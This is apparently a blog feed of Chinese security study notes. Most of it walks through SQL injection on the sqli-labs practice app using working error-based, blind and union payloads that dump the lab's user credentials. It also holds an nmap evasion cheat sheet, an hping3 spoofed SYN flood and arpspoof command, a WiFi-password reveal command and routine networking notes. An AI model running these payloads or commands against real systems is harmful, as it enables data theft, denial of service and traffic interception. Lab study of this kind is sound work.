&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=1  or  (updatexml(1,concat(0x7e,(select database()),0x7e),1))&lt;/p&gt;
&lt;p&gt;​	security&lt;/p&gt;
&lt;p&gt;如果什么特殊方式都没有使用如上书写方式&lt;/p&gt;
&lt;p&gt;​&lt;/p&gt;
&lt;p&gt;mysql-&amp;gt;数据库-&amp;gt;表-&amp;gt;字段-&amp;gt;详细信息。&lt;/p&gt;
&lt;p&gt;获取数据库的表名方式有两个，一个用limit ,另一个用substr()如下所示&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=1  or  (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1))&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=1  or  (updatexml(1,concat(0x7e,(   substr((    select group_concat(table_name) from information_schema.tables where table_schema=database()     ),1,30)    ),0x7e),1))&lt;/p&gt;
&lt;p&gt;​	emails,referers,uagents,users&lt;/p&gt;
&lt;p&gt;获取字段名，如下所示：&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=1  or  (updatexml(1,concat(0x7e,(   substr((    select group_concat(column_name) from information_schema.columns where table_schema=database() and    table_name=0x7573657273  ),1,30)    ),0x7e),1))&lt;/p&gt;
&lt;p&gt;​		id,username,password&lt;/p&gt;
&lt;p&gt;获取详细信息，如下所示：&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=1  or  (updatexml(1,concat(0x7e,(   substr((    select group_concat(username,&apos;-&amp;gt;&apos;,password) from users  ),31,30)    ),0x7e),1))&lt;/p&gt;
&lt;p&gt;​	Dumb-&amp;gt;Dumb,Angelina-&amp;gt;I-kill-you,Dummy-&amp;gt;p@ssword,secure-&amp;gt;crap&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;​						【时间盲注】&lt;/p&gt;
&lt;p&gt;if(1=1,sleep(2),1)&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-9/?id=1&apos; and if(1=2,sleep(2),1)    --+&lt;/p&gt;
&lt;p&gt;判断下是否存在时间盲注&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-9/?id=1&apos; and if(length((select  database()) )=8 ,sleep(2),1)    --+&lt;/p&gt;
&lt;p&gt;判断数据库名的长度&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-9/?id=1&apos; and if(ascii(      substr((   select  database()   ),2,1)      )=101,sleep(2),1)    --+&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-9/?id=1&apos; and if((select  count(table_name) from information_schema.tables where table_schema=&apos;security&apos;)=4,sleep(2),1)    --+&lt;/p&gt;
&lt;p&gt;判断表的数量。&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-9/?id=1&apos; and if(length((select  table_name from information_schema.tables where table_schema=&apos;security&apos;  limit 0,1     ) )=6,sleep(2),1)    --+&lt;/p&gt;
&lt;p&gt;判断表的名字长度&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-9/?id=1&apos; and if(ascii(      substr((   select  table_name from information_schema.tables where table_schema=&apos;security&apos;  limit 3,1    ),1,1)      )=117 ,sleep(2),1)    --+&lt;/p&gt;
&lt;p&gt;判断某张表的某个字符的ascii码。&lt;/p&gt;
&lt;p&gt;users&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-9/?id=1&apos; and if((select  count(column_name) from information_schema.columns where table_schema=&apos;security&apos; and table_name=&apos;users&apos;)=3,sleep(2),1)    --+&lt;/p&gt;
&lt;p&gt;判断字段的数量。&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-9/?id=1&apos; and if(length((select  column_name from information_schema.columns where table_schema=&apos;security&apos; and table_name=&apos;users&apos; limit 0,1     ) )=2,sleep(2),1)    --+&lt;/p&gt;
&lt;p&gt;判断某个字段的长度&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-9/?id=1&apos; and if(ascii(      substr((   select  column_name from information_schema.columns where table_schema=&apos;security&apos; and table_name=&apos;users&apos; limit 0,1    ),1,1)      )=105,sleep(2),1)    --+&lt;/p&gt;
&lt;p&gt;判断某个字段的某个字符的ascii码。&lt;/p&gt;
&lt;p&gt;username,password&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-9/?id=1&apos; and if((select  count(username) from users )=13,sleep(2),1)    --+&lt;/p&gt;
&lt;p&gt;判断第一个账号的数量&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-9/?id=1&apos; and if(length((select  username from users limit 0,1     ) )=4,sleep(2),1)    --+&lt;/p&gt;
&lt;p&gt;判断第一个账号的名字长度&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-9/?id=1&apos; and if(ascii(      substr((   select  username from users limit 0,1    ),1,1)      )=68,sleep(2),1)    --+&lt;/p&gt;
&lt;p&gt;判断第某个账号的某个字符的ascii码。&lt;/p&gt;
</content:encoded></item><item><title>SQL 注入：布尔盲注</title><link>https://wangyi187.top/posts/sqli-boolean-blind/</link><guid isPermaLink="true">https://wangyi187.top/posts/sqli-boolean-blind/</guid><description>​ 【布尔盲注】 http://127.0.0.1/sqli labs/Less 5/?id=1&apos; order by 1 http://127.0.0.1/sqli labs/Le</description><pubDate>Wed, 04 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;​			【布尔盲注】&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=1&apos;  order by 1 #&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=1&apos;  order by  3  --+&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=-1.11&apos;  union select 1,2,3  --+&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=1&apos;  and 1=1  --+&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=1&apos;  and 1=2  --+&lt;/p&gt;
&lt;p&gt;原理：&lt;/p&gt;
&lt;p&gt;问有2个数据库对吗？&lt;/p&gt;
&lt;p&gt;数据库名长度是3对吗？&lt;/p&gt;
&lt;p&gt;数据库第一个字库是a对吗？&lt;/p&gt;
&lt;p&gt;length():可以返回字符串的长度：&lt;/p&gt;
&lt;p&gt;select length(&apos;abcdefg&apos;);
select length(   (database())  );&lt;/p&gt;
&lt;p&gt;substr():可以截取字符串，并自定义开始的位置和长度。&lt;/p&gt;
&lt;p&gt;select substr(&apos;abcdefghijklmn&apos;,3,3);
select substr((database()),1,1);&lt;/p&gt;
&lt;p&gt;ascii():可以返回单个字符的ascii码。&lt;/p&gt;
&lt;p&gt;select ascii(&apos;a&apos;);
select ascii(  (    substr((database()),1,1)    )  );&lt;/p&gt;
&lt;p&gt;count():可以用来查看表的数量或者是字段的数量。&lt;/p&gt;
&lt;p&gt;select count(table_name)
from information_schema.tables where table_schema=&apos;security&apos;&lt;/p&gt;
&lt;hr /&gt;
&lt;h5&gt;数量-&amp;gt;长度-&amp;gt;ascii码。&lt;/h5&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=1&apos; and length((select  database()) )= 8   --+&lt;/p&gt;
&lt;p&gt;判断数据库名长度&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=1&apos; and   ascii(      substr((   select  database()   ),2,1)      )&amp;gt;102    --+&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=1&apos; and   ascii(      substr((   select  database()   ),2,1)      )=101    --+&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=1&apos; and   ascii(      substr((   select  database()   ),2,1)      )&amp;gt;100  --+&lt;/p&gt;
&lt;p&gt;判断数据库名的具体ascii码&lt;/p&gt;
&lt;p&gt;security&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=1&apos;  and (select  count(table_name) from information_schema.tables where table_schema=&apos;security&apos;)=4  --+&lt;/p&gt;
&lt;p&gt;判断表的数量。&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=1&apos;  and length((select  table_name from information_schema.tables where table_schema=&apos;security&apos;  limit 0,1     ) )=6  --+&lt;/p&gt;
&lt;p&gt;判断第一张表的名字长度。&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=1&apos; and   ascii(      substr((   select  table_name from information_schema.tables where table_schema=&apos;security&apos;  limit 3,1    ),1,1)      )=117    --+&lt;/p&gt;
&lt;p&gt;判断第一张表的第一个字符的ascii码。&lt;/p&gt;
&lt;p&gt;emails,...users&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=1&apos;  and (select  count(column_name) from information_schema.columns where table_schema=&apos;security&apos; and table_name=&apos;users&apos;)=3  --+&lt;/p&gt;
&lt;p&gt;判断第一个表里面的字段数量。&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=1&apos;  and length((select  column_name from information_schema.columns where table_schema=&apos;security&apos; and table_name=&apos;users&apos; limit 0,1     ) )=2  --+&lt;/p&gt;
&lt;p&gt;判断第一字段名的长度&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=1&apos; and   ascii(      substr((   select  column_name from information_schema.columns where table_schema=&apos;security&apos; and table_name=&apos;users&apos; limit 0,1    ),1,1)      )=105    --+&lt;/p&gt;
&lt;p&gt;判断第一个字段的第一个字符的ascii码。&lt;/p&gt;
&lt;p&gt;id,username,password&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=1&apos;  and (select  count(username) from users )=13  --+&lt;/p&gt;
&lt;p&gt;判断账号的数量。&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=1&apos;  and length((select  username from users limit 0,1     ) )=4  --+&lt;/p&gt;
&lt;p&gt;判断第一个账户的名字长度。&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-5/?id=1&apos; and   ascii(      substr((   select  username from users limit 0,1    ),1,1)      )=68   --+&lt;/p&gt;
&lt;p&gt;Dumb,&lt;/p&gt;
</content:encoded></item><item><title>SQL 注入基础：回显注入</title><link>https://wangyi187.top/posts/sqli-echo/</link><guid isPermaLink="true">https://wangyi187.top/posts/sqli-echo/</guid><description>select id,email_id from emails where id = 1 union select username,password from users 前语句 </description><pubDate>Sun, 01 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;select id,email_id from emails where id =  1  union   select username,password from users
前语句          																				后语句&lt;/p&gt;
&lt;p&gt;select id,email_id,3 from emails where id =  1  union   select id,username,password from users&lt;/p&gt;
&lt;p&gt;select id,email_id,3 from emails where id = 1 order by 4&lt;/p&gt;
&lt;p&gt;select id,email_id,3 from emails where id =&apos;  1&apos; order by 3 # &apos;&lt;br /&gt;
select id,email_id,3 from emails where id =&apos;  1&apos; order by 3 -- &apos;&lt;/p&gt;
&lt;p&gt;select id,email_id,3 from emails where id = 1  and 1=2
select id,email_id,3 from emails where id = &apos;  1&apos; and &apos;1&apos;=&apos;2   &apos;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;127.0.0.1/sqli-labs/Less-2/?id= &apos;     1&apos; and &apos;1&apos;=&apos;1          &apos;&lt;/p&gt;
&lt;p&gt;127.0.0.1/sqli-labs/Less-2/?id=  1 and 1=2&lt;/p&gt;
&lt;p&gt;判断目标网站注入点有没有引号（注意：一般没有任何引号）&lt;/p&gt;
&lt;p&gt;127.0.0.1/sqli-labs/Less-2/?id= 1 order by 3&lt;/p&gt;
&lt;p&gt;判断前语句字段数量&lt;/p&gt;
&lt;p&gt;127.0.0.1/sqli-labs/Less-2/?id=  -1 union select  1,2,database()&lt;/p&gt;
&lt;p&gt;​			security			获取当前网站的数据库名&lt;/p&gt;
&lt;p&gt;mysql--&amp;gt;数据库-&amp;gt;表-&amp;gt;字段-&amp;gt;详细的信息。&lt;/p&gt;
&lt;p&gt;tables:存放了mysql中所有表的信息。
columns:存放了mysql中所有字段的信息。&lt;/p&gt;
&lt;p&gt;table_name:存放了所有表名的详细信息。&lt;/p&gt;
&lt;p&gt;table_schema:表示这个表属于哪一个数据库。&lt;/p&gt;
&lt;p&gt;column_name:记录了所有的字段名。&lt;/p&gt;
&lt;p&gt;127.0.0.1/sqli-labs/Less-2/?id=  -1 union select  1,2,group_concat(table_name) from information_schema.tables where table_schema=&apos;security&apos;&lt;/p&gt;
&lt;p&gt;​			emails,referers,uagents,users		获取表名&lt;/p&gt;
&lt;p&gt;127.0.0.1/sqli-labs/Less-2/?id=  -1 union select  1,2,group_concat(column_name) from information_schema.columns where table_schema=&apos;security&apos; and table_name=&apos;users&apos;&lt;/p&gt;
&lt;p&gt;​			id,username,password			获取字段名&lt;/p&gt;
&lt;p&gt;127.0.0.1/sqli-labs/Less-2/?id=  -1 union select  1,group_concat(username),group_concat(password)  from users&lt;/p&gt;
&lt;p&gt;获取字段里面的详细信息&lt;/p&gt;
</content:encoded></item><item><title>Nmap 常用命令速查</title><link>https://wangyi187.top/posts/nmap-cheatsheet/</link><guid isPermaLink="true">https://wangyi187.top/posts/nmap-cheatsheet/</guid><description>Nmap 常用命令速查</description><pubDate>Wed, 27 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;1. nmap -sT 192.168.96.4  //TCP连接扫描，不安全，慢
2. nmap -sS 192.168.96.4  //SYN扫描,使用最频繁，安全，快
3. nmap -Pn 192.168.96.4  //目标机禁用ping，绕过ping扫描
4. nmap -sU 192.168.96.4  //UDP扫描,慢,可得到有价值的服务器程序
5. nmap -sI 僵尸ip 目标ip  //使用僵尸机对目标机发送数据包
6. nmap -sA 192.168.96.4  //检测哪些端口被屏蔽
7. nmap 192.168.96.4 -p &amp;lt;portnumber&amp;gt;  //对指定端口扫描
8. nmap 192.168.96.1/24 //对整个网段的主机进行扫描
9. nmap 192.168.96.4 -oX myscan.xml //对扫描结果另存在myscan.xml
10. nmap -T1~6 192.168.96.4  //设置扫描速度，一般T4足够。
11. nmap -sV 192.168.96.4  //对端口上的服务程序版本进行扫描
12. nmap -O 192.168.96.4  //对目标主机的操作系统进行扫描
13. nmap -sC &amp;lt;scirptfile&amp;gt; 192.168.96.4  //使用脚本进行扫描，耗时长
14. nmap -A 192.168.96.4  //强力扫描，耗时长
15. nmap -6 ipv6地址   //对ipv6地址的主机进行扫描
16. nmap -f 192.168.96.4  //使用小数据包发送，避免被识别出
17. nmap –mtu &amp;lt;size&amp;gt; 192.168.96.4 //发送的包大小,最大传输单元必须是8的整数
18. nmap -D &amp;lt;假ip&amp;gt; 192.168.96.4 //发送参杂着假ip的数据包检测
19. nmap --source-port &amp;lt;portnumber&amp;gt; //针对防火墙只允许的源端口
20. nmap –data-length: &amp;lt;length&amp;gt; 192.168.96.4 //改变发生数据包的默认的长度，避免被识别出来是nmap发送的。
21. nmap -v 192.168.96.4  //显示冗余信息(扫描细节)
22. nmap -sn 192.168.96.4  //对目标进行ping检测，不进行端口扫描（会发送四种报文确定目标是否存活,）
23. nmap -sP 192.168.96.4  //仅仅对目标进行ping检测。
24. nmap -n/-p 192.168.96.4  //-n表示不进行dns解析，-p表示要
25. nmap --system-dns 192.168.96.4  //扫描指定系统的dns服务器
26. nmap –traceroute 192.168.96.4  //追踪每个路由节点。
27. nmap -PE/PP/PM: 使用ICMP echo, timestamp, and netmask 请求包发现主机。
28. nmap -sP 192.168.96.4       //主机存活性扫描，arp直连方式。
29. nmap -iR [number]       //对随机生成number个地址进行扫描。
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>PHP 基础·课堂笔记</title><link>https://wangyi187.top/posts/php-class-notes/</link><guid isPermaLink="true">https://wangyi187.top/posts/php-class-notes/</guid><description>services.msc 打开服务。</description><pubDate>Sat, 23 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/php-class-notes/41afb16898-image-20230923100750202.png&quot; alt=&quot;image-20230923100750202&quot; /&gt;&lt;/p&gt;
&lt;p&gt;services.msc    打开服务。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/php-class-notes/0830cf6a2d-image-20230923114006649.png&quot; alt=&quot;image-20230923114006649&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>HTTPS 协议笔记</title><link>https://wangyi187.top/posts/https-notes/</link><guid isPermaLink="true">https://wangyi187.top/posts/https-notes/</guid><description>【https加密】 DNS 1.服务器缓存。 2.hosts文件 C:\Windows\System32\drivers\etc\hosts 3.本地域名服务器。 4.根域名服务器</description><pubDate>Thu, 21 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;【https加密】&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/https-notes/5499732858-image-20230921191737150.png&quot; alt=&quot;image-20230921191737150&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/https-notes/5499732858-image-20230921191737150.png&quot; alt=&quot;image-20230921191737348&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/https-notes/a17e882b65-image-20230921192819597.png&quot; alt=&quot;image-20230921192819597&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/https-notes/d48dfc8fff-image-20230921193401732.png&quot; alt=&quot;image-20230921193401732&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/https-notes/7a26b9a33c-image-20230921193852265.png&quot; alt=&quot;image-20230921193852265&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/https-notes/7e697cb8de-image-20230921194623680.png&quot; alt=&quot;image-20230921194623680&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/https-notes/80cd7a9ab0-image-20230921195148129.png&quot; alt=&quot;image-20230921195148129&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;DNS&lt;/p&gt;
&lt;p&gt;1.服务器缓存。&lt;/p&gt;
&lt;p&gt;2.hosts文件 		C:\Windows\System32\drivers\etc\hosts&lt;/p&gt;
&lt;p&gt;3.本地域名服务器。&lt;/p&gt;
&lt;p&gt;4.根域名服务器，全球有13个根域名服务器。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;【CDN】&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;image-20230921203255853(图片缺失，见本地笔记)&lt;/p&gt;
&lt;p&gt;image-20230921204323960(图片缺失，见本地笔记)&lt;/p&gt;
</content:encoded></item><item><title>HTTP 协议笔记</title><link>https://wangyi187.top/posts/http-notes/</link><guid isPermaLink="true">https://wangyi187.top/posts/http-notes/</guid><description>文本：记录文字的文档。 超文本：超越文本限制，文字，视频，音频，图片。 应用层：http,https,dhcp,dns,ssh,telnet OSI 7层模型 应用层，表示层，会话</description><pubDate>Tue, 19 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;文本：记录文字的文档。&lt;/p&gt;
&lt;p&gt;超文本：超越文本限制，文字，视频，音频，图片。&lt;/p&gt;
&lt;p&gt;应用层：http,https,dhcp,dns,ssh,telnet&lt;/p&gt;
&lt;p&gt;OSI 7层模型&lt;/p&gt;
&lt;p&gt;应用层，表示层，会话层     -&amp;gt;软件所在层次&lt;/p&gt;
&lt;p&gt;传输层        端口   0-65535&lt;/p&gt;
&lt;p&gt;应用服务 = 端口&lt;/p&gt;
&lt;p&gt;QQ   =  9999&lt;/p&gt;
&lt;p&gt;tcp，udp协议&lt;/p&gt;
&lt;p&gt;网络层&lt;/p&gt;
&lt;p&gt;许多网卡&lt;/p&gt;
&lt;p&gt;路由表进行选路&lt;/p&gt;
&lt;p&gt;数据链路层&lt;/p&gt;
&lt;p&gt;交换机   有很多端口&lt;/p&gt;
&lt;p&gt;Mac地址表    目标Mac地址：接口&lt;/p&gt;
&lt;p&gt;物理层&lt;/p&gt;
&lt;p&gt;传输介质&lt;/p&gt;
&lt;p&gt;光纤    网线&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;高电平和低电平。0和1.&lt;/p&gt;
&lt;p&gt;http规定了浏览器和服务器的通信规则，但是无法在网络中进行路由传输。&lt;/p&gt;
&lt;p&gt;菜鸟教程：www.runoob.com&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;URL：&lt;/p&gt;
&lt;p&gt;http://www.baidu.com/s?wd=url&lt;/p&gt;
&lt;p&gt;http://     协议&lt;/p&gt;
&lt;p&gt;www.baidu.com   	域名   IP （路由表）ＤＮＳ&lt;/p&gt;
&lt;p&gt;/s	资源路径&lt;/p&gt;
&lt;p&gt;?wd=url　　　要传递的参数&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;【请求包】&lt;/p&gt;
&lt;p&gt;image-20230919192955554(图片缺失，见本地笔记)&lt;/p&gt;
&lt;p&gt;X-Forwarded-For：192.168.10.1,186.66.33.25,142.55.22.34&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;响应包&lt;/h1&gt;
&lt;p&gt;image-20230919195535295(图片缺失，见本地笔记)&lt;/p&gt;
&lt;p&gt;image-20230919195707168(图片缺失，见本地笔记)&lt;/p&gt;
&lt;p&gt;image-20230919200155523(图片缺失，见本地笔记)&lt;/p&gt;
&lt;p&gt;image-20230919200925958(图片缺失，见本地笔记)&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;image-20230919202950022(图片缺失，见本地笔记)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/http-notes/490ac3f313-image-20230919211834188.png&quot; alt=&quot;image-20230919211834188&quot; /&gt;&lt;/p&gt;
&lt;p&gt;代理软件申请&amp;amp;下载网站：https://sockboom.link/&lt;/p&gt;
&lt;p&gt;查看自身IP定位：http://www.cip.cc/&lt;/p&gt;
</content:encoded></item><item><title>Linux 配置静态 IP</title><link>https://wangyi187.top/posts/linux-static-ip/</link><guid isPermaLink="true">https://wangyi187.top/posts/linux-static-ip/</guid><description>Linux 配置静态 IP</description><pubDate>Tue, 22 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Linux配置静态IP

TYPE=Etherne
BOOTPROTO=static
IPADDR=192.168.10.1
NETMASK=255.255.255.0
GATEWAY=192.168.10.254
DNS1=218.85.157.99
DNS2=114.114.114.114
DEFROUTE=yes
NAME=ens33
DEVICE=ens33
ONBOOT=yes



重启网卡

systemctl restar network
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Linux wget 更换网易镜像源</title><link>https://wangyi187.top/posts/linux-wget-netease-repo/</link><guid isPermaLink="true">https://wangyi187.top/posts/linux-wget-netease-repo/</guid><description>Linux wget 更换网易镜像源</description><pubDate>Tue, 22 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Linux使用wget下载网易源

wget http://mirrors.163.com/.help/CentOS7-Base-163.repo

查看源仓库

yum repolist

若出现进程占用则需要杀死进程

kill -9 PID（进程号）
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>实验室环境：DDoS 与 ARP 欺骗命令示例</title><link>https://wangyi187.top/posts/ddos-arp-lab-commands/</link><guid isPermaLink="true">https://wangyi187.top/posts/ddos-arp-lab-commands/</guid><description>实验室环境：DDoS 与 ARP 欺骗命令示例</description><pubDate>Tue, 08 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;DDOS攻击（必须在同一网段且能ping通）
hping3 -S -a 1.1.1.1 -s 445 --flood 192.168.10.129（目标地址） -p 445

arp欺骗攻击（必须在同一网段且能ping通）
arpspoof -i eth0 -t 192.168.10.129（目标ip地址） 192.168.10.2（目标网关）
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Kali 网卡配置</title><link>https://wangyi187.top/posts/kali-network-config/</link><guid isPermaLink="true">https://wangyi187.top/posts/kali-network-config/</guid><description>Kali 网卡配置</description><pubDate>Tue, 08 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;kali
配置网卡
vim /etc/network/interfaces  
桥接模式（配置物理ip）
auto eth0
iface eth0 inet static
address 192.168.178.151(物理地址找个没人的地址）
netmask 255.255.255.0
gateway 192.168.178.254

systemctl restart networking.service（重启网络）
Nat模式（配置虚拟地址）
auto eth0
iface eth0 inet dhcp

systemctl restart networking.service（重启网络）
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>CMD 查看已连接 WiFi 密码</title><link>https://wangyi187.top/posts/wifi-password-cmd/</link><guid isPermaLink="true">https://wangyi187.top/posts/wifi-password-cmd/</guid><description>CMD 查看已连接 WiFi 密码</description><pubDate>Tue, 08 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;netsh wlan show profile name=&quot;YUCEDUJISHUBU（WiFi名）&quot; key=&quot;clear&quot;

netsh wlan show profile 查看电脑连接过的WiFi名
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>eNSP：ACL 访问控制列表</title><link>https://wangyi187.top/posts/ensp-acl/</link><guid isPermaLink="true">https://wangyi187.top/posts/ensp-acl/</guid><description>刘佳权 图图学长 ACL 进行流量控制的访问控制列表 ACL是由一系列的permit（允许）、deny（拒绝）语句组成的有序规则表 针对数据包进行匹配 源IP 目的IP 源MAC </description><pubDate>Fri, 14 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;刘佳权   图图学长&lt;/p&gt;
&lt;h1&gt;ACL&lt;/h1&gt;
&lt;p&gt;进行流量控制的访问控制列表&lt;/p&gt;
&lt;p&gt;ACL是由一系列的permit（允许）、deny（拒绝）语句组成的有序规则表&lt;/p&gt;
&lt;p&gt;针对数据包进行匹配   源IP 目的IP  源MAC  目的MAC&lt;/p&gt;
&lt;h2&gt;ACL的应用&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;1.在traffic-filter中去调用   这节课会着重讲
2.防火墙的策略部署中去调用
3.在路由策略中调用  
4.在nat中去调用
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ACL的组成&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;ACL是由一系列的permit（允许）、deny（拒绝）语句组成
每条语句就是我们acl的规则
规则中的permit或者deny就是这条规则中的动作
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ACL的分类与标识：&lt;/h2&gt;
&lt;p&gt;1.基于ACL规则定义方式的分类：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;分为5类：基于编号
基本ACL（常用）：2000-2999  针对报文的源IP地址   配置简单   局限性也会大
高级ACL（常用）：3000-3999  针对报文的源IP、目的IP、IP协议类型、icmp的协议类型（echo  echo-reply）、、、、、、
二层ACL：4000-4999   基于MAC
用户自定义ACL：5000-5999
用户ACL：6000-6999
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.基于ACL标识方法的分类：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;数字型ACL  
命名型ACL      acl denyhttp
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;创建ACL表&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;[Huawei]acl 2000
[Huawei-acl-basic-2000]rule ?
  INTEGER&amp;lt;0-4294967294&amp;gt;  ID of ACL rule
  deny                   Specify matched packet deny
  permit                 Specify matched packet permit
[Huawei-acl-basic-2000]rule permit ?
  fragment             Check fragment packet
  none-first-fragment  Check the subsequence fragment packet  
  source               Specify source address
  time-range           Specify a special time
  vpn-instance         Specify a VPN-Instance
  &amp;lt;cr&amp;gt;                 Please press ENTER to execute command 
[Huawei-acl-basic-2000]rule permit source 1.1.1.0 0.0.0.255   //写具体的基本acl规则  允许源IP为1.1.1.0
[Huawei-acl-basic-2000]rule deny source 2.2.2.0 0.0.0.255
[Huawei-acl-basic-2000]rule deny source 3.3.3.0 0.0.0.255
[Huawei-acl-basic-2000]dis this 
[V200R003C00]
#
acl number 2000  
 rule 5 permit source 1.1.1.0 0.0.0.255 
 rule 10 deny source 2.2.2.0 0.0.0.255 
 rule 15 deny source 3.3.3.0 0.0.0.255 
#
rule   //规则
5，10，15      //步长  默认步长为5  间隔也为5（越小越优先）
permit  deny   //动作 允许/拒绝
source 1.1.1.0 0.0.0.255   //源IP地址为1.1.1.0
0.0.0.255    //通配符  与反掩码不一样
0严格匹配  1不匹配，随意          R1的ip为1.1.1.1/24
1.1.1.0   00000001.00000001.00000001.00000000
0.0.0.255 00000000.00000000.00000000.11111111
1.1.1.1   00000001.00000001.00000001.00000001      允许通过

通配符他的0和1是可以交叉的可以不连续    00000000.00000000.00000000.11111111  √   00000000.11111111.00000000.11111111    √
反掩码他的0和1是不可交叉的必须连续  0永远在左 1永远在右   00000000.00000000.00000000.11111111  √   00000000.11111111.00000000.11111111  不合法

利用通配符匹配单双路由（涉及IE）
源ip 1.1.1.0    通配符0.0.0.254   动作  permit
1.1.1.0   00000001.00000001.00000001.00000000
0.0.0.254 00000000.00000000.00000000.11111110

问：1.1.1.1    00000001.00000001.00000001.00000001    不能通过
